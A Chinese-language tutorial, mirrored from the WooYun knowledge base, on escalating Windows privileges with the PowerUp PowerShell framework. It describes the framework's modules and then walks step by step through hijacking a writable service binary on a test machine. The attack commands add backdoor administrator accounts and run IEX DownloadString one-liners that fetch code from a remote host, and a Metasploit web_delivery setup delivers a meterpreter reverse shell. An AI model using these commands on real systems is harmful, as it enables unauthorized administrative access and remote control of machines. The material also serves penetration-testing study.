Powershell 提權框架-Powerup

wyzsk發表於2020-08-19
作者: Evi1cg · 2016/01/13 10:12

0x00 簡介


通常,在Windows下面我們可以透過核心漏洞來提升許可權,但是,我們常常會碰到所處伺服器透過核心漏洞提權是行不通的,這個時候,我們就需要透過脆弱的Windows服務提權,比如我們替換掉服務所依賴的DLL檔案,當服務重啟時,載入我們替換的DLL檔案從而完成比如新增管理員賬號的操作。或者透過常見的Mssql,Mysql等服務,透過其繼承的系統許可權來完成提權等等,而今天我將介紹一個非常實用的Powershell框架-Powerup,此框架可以在核心提權行不通的時候,幫助我們尋找伺服器脆弱點進而透過脆弱點實現提權的目的。

0x01 使用


要使用Powerup,首先需要下載此指令碼:Powerup,之後載入此指令碼:

#!bash
E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1

載入完成以後,便可以使用Powerup中的所有模組了。

透過如下命令可以檢視所有模組:

#!bash
PS E:\> Get-Command -Module powerup

Alt text

輸入可以透過tab鍵來自動補全,如果要檢視各個模組的詳細說明,可以使用"Get-help [cmdlet] -full"來檢視,比如"Get-Help Find-DLLHijack -full", 如果要將輸出的結果匯出到一個檔案可以使用Out-File,如下:

#!bash
PS E:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

上述命令使用了Invoke-AllChecks,指令碼將會進行所有的檢查

在cmd環境下,可以使用下列方式來執行該指令碼:

#!bash
E:\> powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

如果你想在記憶體載入此指令碼,可以用下列方式:

#!bash
E:\> powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"

除此之外,Metasploit上同樣包含執行powershell指令碼的模組exec_powershell.rb,透過此模組,可以透過msf會話來執行powershell。

0x02 模組介紹


Find-DLLHijack

檢查每個程式所載入的模組,返回已經載入且不在其可執行目錄的模組的目錄。

執行方式:

#!bash
PS C:\> Find-DLLHijack #返回所有的dll路徑
PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles #返回排除C:\Windows\*; C:\Program Files\*;C:\Program Files (x86)\*以外的dll路徑
PS C:\> Find-DLLHijack -ExcludeOwned #返回不屬於當前使用者所有程式許可權的dll路徑

Find-PathHijack

檢查當前%PATH%是否存在哪些目錄是當前使用者可以寫入的。

執行方式:

#!bash
PS C:\> Find-PathHijack

Get-ApplicationHost

從系統上的applicationHost.config檔案恢復加密過的應用池和虛擬目錄的密碼。

執行方式:

#!bash
PS C:\>get-ApplicationHost
PS C:\>get-ApplicationHost | Format-Table -Autosize # 列表顯示

Get-ModifiableFile

檢查某個檔案當前使用者是否擁有修改許可權,並返回有許可權的檔案路徑。

執行方式:

#!bash
PS C:\> '"E:\temp\123123.xlsx" -f "C:\LibAntiPrtSc_ERROR.log"' | Get-ModifiableFile

前面為檔案路徑

Alt text

Get-RegAlwaysInstallElevated

檢查AlwaysInstallElevated登錄檔項是否被設定,如果被設定,意味著的MSI檔案是以system許可權執行的。

執行方式:

#!bash
PS C:\> Get-RegAlwaysInstallElevated

Get-RegAutoLogon

檢測Winlogin登錄檔AutoAdminLogon項有沒有被設定,可查詢預設的使用者名稱和密碼。與msf windows_autologin.rb模組相同。

執行方式:

#!bash
PS C:\> Get-RegAutoLogon

Get-ServiceDetail

返回某服務的資訊。

執行方式:

#!bash
PS C:\> Get-ServiceDetail -ServiceName Dhcp #獲取DHCP服務的詳細資訊

Alt text

Get-ServiceFilePermission

檢查當前使用者能夠在哪些服務的目錄寫入相關聯的可執行檔案,透過這些檔案可達到提權的目的。

執行方式:

#!bash
PS C:\> Get-ServiceFilePermission

Alt text

Get-ServicePermission

檢查所有可用的服務,並嘗試對這些開啟的服務進行修改,如果可修改,則返回該服務物件。

執行方式:

#!bash
PS C:\> Get-ServicePermission

Get-ServiceUnquoted

檢查服務路徑,返回包含空格但是不帶引號的服務路徑,類似於msf的trusted_service_path.rb

此處利用的windows的一個邏輯漏洞,即當檔案包含空格時,windows API會解釋為兩個路徑,並將這兩個檔案同時執行,有些時候可能會造成許可權的提升。

比如C:\program files\hello.exe,會被解釋為C:\program.exe以及C:\program files\hello.exe

執行方式:

#!bash
PS C:\>Get-ServiceUnquoted

Alt text

Get-UnattendedInstallFile

檢查幾個路徑,查詢是否存在這些檔案,在這些檔案裡可能包含有部署憑據。這些檔案包括:

  • c:\sysprep\sysprep.xml
  • c:\sysprep\sysprep.inf
  • c:\sysprep.inf
  • c:\windows\Panther\Unattended.xml
  • c:\windows\Panther\Unattend\Unattended.xml
  • c:\windows\Panther\Unattend.xml
  • c:\windows\Panther\Unattend\Unattend.xml
  • c:\windows\System32\Sysprep\unattend.xml
  • c:\windows\System32\Sysprep\Panther\unattend.xml

執行方式:

#!bash
PS C:\> Get-UnattendedInstallFile

Get-VulnAutoRun

檢查開機自啟的應用程式路徑和登錄檔鍵值,返回當前使用者可修改的程式路徑。

登錄檔檢查的鍵值為:

#!bash
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

執行方式:

#!bash
PS C:\> Get-VulnAutoRun

Get-VulnSchTask

返回當前使用者能夠修改的計劃任務程式的名稱和路徑。

執行方式:

#!bash
PS C:\> Get-VulnSchTask

Get-Webconfig

返回當前伺服器上的web.config檔案中的資料庫連線字串的明文。

執行方式:

#!bash
PS C:\>get-webconfig  
PS C:\>get-webconfig | Format-Table -Autosize #列表顯示

Invoke-AllChecks

執行所有的指令碼來檢查。

執行方式:

#!bash
PS C:\> Invoke-AllChecks

Alt text

Invoke-Service

  • Invoke-ServiceDisable 禁用服務
  • Invoke-ServiceEnable 啟用服務
  • Invoke-ServiceStart 啟動服務
  • Invoke-ServiceStop 停止服務

執行方式為:

#!bash
PS C:\> Invoke-ServiceDisable -ServiceName 服務名稱。
  • Invoke-ServiceAbuse

用來透過修改服務新增使用者到指定組,並可以透過定製-cmd引數觸發新增使用者的自定義命令。

執行方式:

#!bash
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 新增預設賬號
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定新增域賬號
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定新增使用者,使用者密碼以及新增的使用者組。
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定義執行命令

預設的賬號可以透過修改預設引數來修改,如下圖:

Alt text

Restore-ServiceBinary

恢復服務的可執行檔案到原始目錄。

執行方式:

#!bash
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

Test-ServiceDaclPermission

檢查某個使用者是否在一個服務有自由訪問控制的許可權,返回true或false。

執行方式:

#!bash
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

Write-HijackDll

輸出一個自定義命令並且能夠自刪除的bat檔案到$env:Temp\debug.bat,並輸出一個能夠啟動這個bat檔案的dll。

執行方式:

#!bash
PS C:\> Write-HijackDll -OutputFile 'E:\temp\test.dll' -Command 'whoami'

Alt text

Write-UserAddMSI

生成一個安裝檔案,執行這個安裝檔案,則彈出新增使用者的框。

執行方式:

#!bash
PS C:\> Write-UserAddMSI

Write-ServiceBinary

預編譯C#服務的可執行檔案。預設建立一個預設管理員賬號。可透過Command定製自己的命令。

執行方式:

#!bash
PS C:\> Write-ServiceBinary -ServiceName VulnSVC # 新增預設賬號
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定新增域賬號
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定新增使用者,使用者密碼以及新增的使用者組。
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定義執行命令

Install-ServiceBinary

透過Write-ServiceBinary寫一個C#的服務用來新增使用者。

執行方式:

#!bash
PS C:\> Install-ServiceBinary -ServiceName DHCP
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinaryInstall-ServiceBinary不同的是前者生成可執行檔案,後者直接安裝服務。

0x03 實戰提權


測試環境為win10。平常用的虛擬機器,並沒有特意去配置存在漏洞的環境,所以並不是所有的模組均可以使用。實際測試可以根據實際環境來調整。此次測試並未使用核心漏洞來提權。

首先新增低許可權測試賬號,使用管理員身份執行cmd,新增測試賬號:

#!bash
C:\Windows\system32>net user powerup 1 /add

檢視powerup賬號許可權:

Alt text

使用powerup賬號登陸系統,載入Powerup:

Alt text

執行Invoke-AllChecks:

#!bash
PS E:\> Invoke-AllChecks

執行以後找到下列問題:

#!bash
[*] Checking for unquoted service paths...


ServiceName   : CDROM_Detect
Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>

ServiceName   : hMailServer
Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>

[*] Checking service executable and argument permissions...

ServiceName    : wampapache
Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'

ServiceName    : wampmysqld
Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'

可以看出,Powerup列出了可能存在問題的服務,並在AbuseFunction中給了接下來的利用方式。在上面兩個利用點可以看出,unquoted service paths中給出了兩個路徑帶空格的檔案路徑,但是因為其在c盤,沒有許可權,所以並不能被我們利用來提權。而第二個檢查透過Get-ServiceFilePermission找到兩個當前使用者可以寫入相關聯可執行檔案的路徑,我們就可以透過這個來進行提權。在AbuseFunction那裡已經給了我們操作方式,接下來我們執行如下操作:

#!bash
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123

Alt text

之後當管理員執行該服務的時候,則會新增我們的賬號,執行前:

Alt text

執行服務以後:

Alt text

檢視該賬號許可權:

Alt text

當然,除了新增賬號,我們同樣可使用msf獲得meterpreter會話。

使用web_delivery 模組開啟監聽:

#!bash
msf > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set URIPATH /
URIPATH => /
msf exploit(web_delivery) > set lport 8888
lport => 8888
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set SRVPORT 8080
SRVPORT => 8080
msf exploit(web_delivery) > set LHOST 192.168.74.1 
msf exploit(web_delivery) > exploit 

執行如下命令:

#!bash
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -Command "powershell.exe -nop -w hidden -c `$m=new-object net.webclient;`$m.proxy=[Net.WebRequest]::GetSystemWebProxy();`$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX `$m.downloadstring('http://192.168.74.1:8080/');"

要注意 $ 符號前面要加`來轉義

當管理員執行此服務以後則獲取高許可權的meterpreter會話

Alt text

提權以後,使用Restore-ServiceBinary 恢復檔案:

#!bash
PS E:\> Restore-ServiceBinary -ServiceName 'wampapache'

Alt text

可以看到,我們使用powerup成功提權了。當然碰到實際的環境可以根據不同環境不同方式來進行提權。

0x05 小結


Powerup提供了一些我們並不常見的提權方式,並且為我們的Windows提權提供了極大的方便,如果碰到未安裝Powershell的計算機,可以詳細參考Powerup裡面的函式實現過程來透過別的方式來實現同樣的效果,希望本文對你有幫助。

本文由evi1cg原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章